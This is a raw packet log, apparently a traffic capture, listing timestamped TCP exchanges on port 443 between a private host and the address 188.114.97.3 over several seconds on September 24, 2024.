Sep 24, 2024 06:30:49.128901958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128942966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128968000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129014015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129035950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129086018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129086018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129097939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129113913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129133940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129139900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129153013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129158020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129232883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129245996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129261971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129359961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129359961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129369974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129390955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129414082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129434109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129448891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.129570961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129676104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.129676104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.335407019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.335510969 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.759403944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.759558916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.025793076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.025820017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.025834084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.025842905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026025057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026031971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026050091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026154041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026180029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026201010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026221037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026251078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026251078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026259899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026422024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026438951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026457071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026482105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026573896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026581049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026592016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026722908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026732922 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026756048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026869059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026869059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026879072 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026900053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.026983976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.026993036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027013063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027039051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027048111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027157068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027168989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027196884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027214050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027220964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027297974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027312040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027339935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027371883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027378082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027486086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027496099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027558088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027582884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027592897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027641058 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027652025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027669907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027695894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027796030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027796030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027861118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.027869940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.027904034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.028002977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.235407114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.235543013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:50.655407906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:50.655561924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.483411074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.483479977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493113041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493129969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493143082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493248940 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493257046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493269920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493280888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493334055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493340969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493360996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493370056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493382931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493388891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493407011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493412018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493694067 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493694067 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493705988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493719101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493736029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493741989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493863106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493869066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493957996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.493969917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.493994951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.494019985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.494050026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.494060040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.494184971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.494209051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.494283915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:51.703407049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:51.703541040 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.127405882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.127482891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.406516075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.406536102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406548977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406558037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406706095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.406716108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406734943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406836033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.406866074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.406893969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407035112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407035112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407046080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407062054 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407079935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407084942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407344103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407352924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407392979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407392979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407404900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407428026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407444954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407468081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407474041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407499075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407505035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407679081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407690048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407877922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407890081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407913923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407934904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407948017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.407963991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.407989979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408019066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408041954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408050060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408054113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408150911 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408233881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408243895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408273935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408289909 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408298969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408427954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408441067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408463955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408548117 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408562899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408602953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408602953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408612013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408629894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408657074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.408663034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408740044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.408988953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.409105062 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.409125090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.409137011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.409243107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:52.615408897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:52.615498066 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.055404902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.055461884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.883397102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.883480072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961025000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961041927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961064100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961163044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961163044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961173058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961183071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961189032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961196899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961302996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961302996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961312056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961323977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961337090 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961342096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961429119 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961441994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961458921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961616039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961616039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961625099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961647034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961656094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961688042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961807013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.961841106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.961859941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.962035894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.962047100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.962097883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.962097883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.962110043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:53.962197065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.962197065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:53.962250948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.171412945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.171549082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.591415882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.591546059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762271881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762286901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762300968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762310982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762460947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762470007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762491941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762502909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762680054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762689114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762706041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762732983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762741089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762809992 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762818098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762903929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.762912035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.762933016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763006926 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763020992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763039112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763056040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763118029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763125896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763138056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763225079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763231993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763329029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763339043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763372898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763400078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763407946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763523102 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763534069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763554096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763573885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763756037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763766050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763792992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763811111 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763818979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763859034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763866901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.763983011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.763992071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.764062881 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764071941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.764118910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.764148951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764162064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.764266968 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764328957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764456034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764456034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.764466047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.764547110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:54.971410036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:54.971494913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:55.391411066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:55.391516924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.219408989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.219557047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.547795057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.547810078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.547823906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548063993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548072100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548089027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548211098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548240900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548265934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548280001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548389912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548389912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548401117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548424006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548440933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548445940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548476934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548481941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548490047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548682928 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548690081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548718929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548769951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548778057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548799992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548815966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.548947096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.548947096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.549163103 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:56.759404898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:56.812745094 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:57.023411989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:57.023646116 CEST	49748	443	192.168.2.9	188.114.97.3
